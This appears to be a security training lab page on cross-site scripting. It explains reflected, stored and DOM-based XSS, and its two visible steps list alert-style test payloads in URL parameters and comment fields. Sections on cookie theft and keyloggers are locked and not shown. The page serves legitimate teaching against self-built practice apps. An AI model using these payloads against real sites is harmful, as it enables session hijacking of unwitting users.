Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Web attacks

Lab · Medium · 70 minutesFree account

Cross-Site Scripting (XSS)

Reflected, stored, and DOM-based XSS with cookie theft and keylogger payloads.

  • xss
  • reflected-xss
  • stored-xss
  • dom-xss
  • cookie-theft
On this page 9 sections
  1. ·XSS Theory
  2. 1Reflected XSS
  3. 2Stored XSS
  4. Locked: DOM-Based XSS
  5. Locked: Filter Bypasses
  6. Locked: Cookie Theft
  7. Locked: Keylogger Payload
  8. Locked: BeEF Framework
  9. Locked: XSS Payload Quick Reference

Before you start

Cross-Site Scripting runs attacker JavaScript inside a victim's browser session. It remains one of the most common web vulnerabilities: stored XSS on a banking or SaaS page leads straight to session theft and account takeover. Build reflected, stored and DOM-based payloads here, then chain one into a cookie-stealing proof of concept against a vulnerable web app that you build, such as DVWA or OWASP Juice Shop.

Lab Objectives

  • Understand the three types of XSS and their impact differences
  • Detect and exploit reflected XSS in URL parameters
  • Exploit stored XSS to affect all users who view a page
  • Bypass common XSS filters using encoding and alternative syntax
  • Steal session cookies and perform session hijacking
  • Inject a keylogger to capture user input

XSS Theory

XSS (Cross-Site Scripting) occurs when an application includes user-supplied data in its output without proper encoding. An attacker can inject JavaScript that executes in other users' browsers in the context of the vulnerable site.

Reflected XSS

The payload is in the URL or request. The victim must click a malicious link. The payload is not stored on the server.

Stored XSS

The payload is saved in the database. It executes for every user who views that content. This is the most dangerous type.

DOM-Based XSS

The payload is processed by client-side JavaScript. The server never sees it. This type is harder to detect.

Step 1: Reflected XSS

# Test for reflected XSS in a search parameter
https://target.com/search?q=<script>alert(1)</script>

# URL-encoded version
https://target.com/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E

# If the page reflects your input without encoding, you have reflected XSS
# The HTML will contain:
<p>Results for: <script>alert(1)</script></p>

# Test other input types
https://target.com/page?name=<img src=x onerror=alert(1)>
https://target.com/page?redirect=javascript:alert(1)

Step 2: Stored XSS

# Common injection points for stored XSS:
# - Comment fields
# - Forum posts / messages
# - User profile fields (name, bio)
# - Product reviews
# - Support tickets

# Basic stored XSS payload in a comment field
<script>alert(document.cookie)</script>

# Using event handlers (when script tags are blocked)
<img src="x" onerror="alert(document.cookie)">
<svg onload="alert(1)">
<body onload="alert(1)">

# The payload fires for EVERY user who views the page
# This makes stored XSS ideal for mass session hijacking

Sign in to continue

6 more sections are for signed-in members. It is free: sign in with Google.

Related